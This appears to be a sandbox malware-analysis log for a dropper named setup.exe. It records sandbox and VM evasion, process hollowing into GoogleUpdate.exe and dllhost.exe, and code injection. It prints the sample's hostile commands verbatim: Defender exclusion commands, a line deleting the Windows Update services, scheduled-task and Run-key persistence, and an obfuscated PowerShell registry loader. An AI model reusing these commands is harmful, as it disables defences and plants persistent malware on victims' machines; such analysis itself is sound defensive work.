Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: GoogleUpdate.exe, 0000002B.00000002.641196321.0000000003182000.00000020.00001000.00020000.00000000.sdmp

Binary or memory string: PSBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 0000000003564B4D second address: 0000000003564B5C instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 000000000323F2D0 second address: 000000000323F2DF instructions: 0x00000000 rdtsc 0x00000002 movzx dx, bl 0x00000006 bswap eax 0x00000008 inc cl 0x0000000a setnle dh 0x0000000d xor bl, cl 0x0000000f rdtsc
Source: C:\Windows\GoogleUpdate.exe	RDTSC instruction interceptor: First address: 000000000338C131 second address: 000000000338C135 instructions: 0x00000000 rdtsc 0x00000002 pop ebx 0x00000003 pop ecx 0x00000004 rdtsc

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4544	Thread sleep count: 9420 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4556	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 5844	Thread sleep count: 2730 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4736	Thread sleep count: 9525 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1960	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 1496	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe TID: 3692	Thread sleep count: 522 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4352	Thread sleep count: 666 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 492	Thread sleep count: 9052 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1352	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4588	Thread sleep count: 8756 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5168	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 5460	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 6100	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\GoogleUpdate.exe TID: 6072	Thread sleep time: -3000000s >= -30000s
Source: C:\Users\user\AppData\Local\Google\chrome.exe TID: 4356	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4140	Thread sleep count: 188 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep count: 8339 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6136	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6136	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep count: 4858 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 400	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6068	Thread sleep count: 710 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852	Thread sleep count: 6783 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4184	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4184	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Thread sleep count: Count: 2730 delay: -10

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Last function: Thread delayed
Source: C:\Windows\GoogleUpdate.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\setup.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-5778

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 9420	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 2730	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9525	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Window / User API: threadDelayed 522	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 666	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9052
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8756
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8339
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4858
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 710
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6783

Source: C:\Users\user\AppData\Local\Google\brave.exe

API coverage: 9.6 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\GoogleUpdate.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Thread delayed: delay time: 120000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000003F.00000002.547751255.0000019DE6898000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: GoogleUpdate.exe, 0000002B.00000002.628713154.000000000100F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: powershell.exe, 0000003F.00000002.547751255.0000019DE6898000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: GoogleUpdate.exe, 0000002B.00000003.462539812.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.513566321.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.507050085.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000002.629218962.0000000001053000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 0000002B.00000003.516670319.0000000001053000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000003F.00000002.547751255.0000019DE6898000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: vbc.exe, 00000002.00000002.412052443.000000000080B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

0_2_00408ECC

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00413154 mov eax, dword ptr fs:[00000030h]

0_2_00413154

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004086D4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_004086D4

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 3_2_00007FF69F80F6C0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

3_2_00007FF69F80F6C0

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 3_2_00007FF69F8043C0 SHGetFolderPathW,GetFileSize,GetProcessHeap,HeapAlloc,RtlAllocateHeap,

3_2_00007FF69F8043C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004086D4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004086D4
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0040D19E __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040D19E
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004057A3 SetUnhandledExceptionFilter,	0_2_004057A3
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00407BA4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00407BA4
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69F801190 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,exit,	3_2_00007FF69F801190
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 3_2_00007FF69FAC2660 SetUnhandledExceptionFilter,	3_2_00007FF69FAC2660

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Google\brave.exe

Section loaded: C:\Users\user\AppData\Local\Temp\E552.tmp target: C:\Windows\System32\dialer.exe protection: readonly

Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @('C:\Users\Revelin', 'C:\Program Files') -Force
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: Base64 decoded Set-MpPreference -SubmitSamplesConsent 2

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\setup.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 390000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory allocated: C:\Windows\GoogleUpdate.exe base: A50000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 390000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: A50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00413189 CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_00413189

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force			Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: A50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: A50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: A50000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: A50000
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section unmapped: C:\Windows\GoogleUpdate.exe base address: A50000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section unmapped: C:\Windows\System32\dllhost.exe base address: 140000000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 390000	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 445008	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Memory written: C:\Windows\System32\dialer.exe base: 31231B6010	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: A50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: A51000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: A61000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: FD0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: FD2000	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Memory written: C:\Windows\GoogleUpdate.exe base: FDF000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14000F000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001D000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001E000

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Thread register set: target process: 5896

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "googleupdatetaskmachineqc" } else { "c:\program files\google\chrome\updater.exe" }
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe ".(\"{1}{0}\" -f 'et','s') (\"6t\"+\"o\") ([type](\"{2}{0}{4}{1}{3}\" -f'e','mbl','refl','y','ction.asse') ) ; $dlr4s = [type](\"{3}{1}{2}{4}{0}\"-f'ry','osoft.w','in32.r','micr','egist') ; $6to::(\"{0}{1}\" -f 'l','oad').invoke( (.(\"{1}{2}{0}\" -f 't-item','g','e') (\"vari\"+\"ab\"+\"le\"+\":dlr4s\") ).\"va`lue\"::\"loc`alm`achine\".(\"{2}{1}{0}\" -f 'ey','ubk','opens').invoke((\"{1}{0}\"-f'e','softwar')).(\"{1}{0}{2}\" -f'u','getval','e').invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"ent`ryp`oint\".\"in`voke\"(${n`ull},${n`ull})"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe ".(\"{1}{0}\" -f 'et','s') (\"6t\"+\"o\") ([type](\"{2}{0}{4}{1}{3}\" -f'e','mbl','refl','y','ction.asse') ) ; $dlr4s = [type](\"{3}{1}{2}{4}{0}\"-f'ry','osoft.w','in32.r','micr','egist') ; $6to::(\"{0}{1}\" -f 'l','oad').invoke( (.(\"{1}{2}{0}\" -f 't-item','g','e') (\"vari\"+\"ab\"+\"le\"+\":dlr4s\") ).\"va`lue\"::\"loc`alm`achine\".(\"{2}{1}{0}\" -f 'ey','ubk','opens').invoke((\"{1}{0}\"-f'e','softwar')).(\"{1}{0}{2}\" -f'u','getval','e').invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"ent`ryp`oint\".\"in`voke\"(${n`ull},${n`ull})"
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "googleupdatetaskmachineqc" } else { "c:\program files\google\chrome\updater.exe" }	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
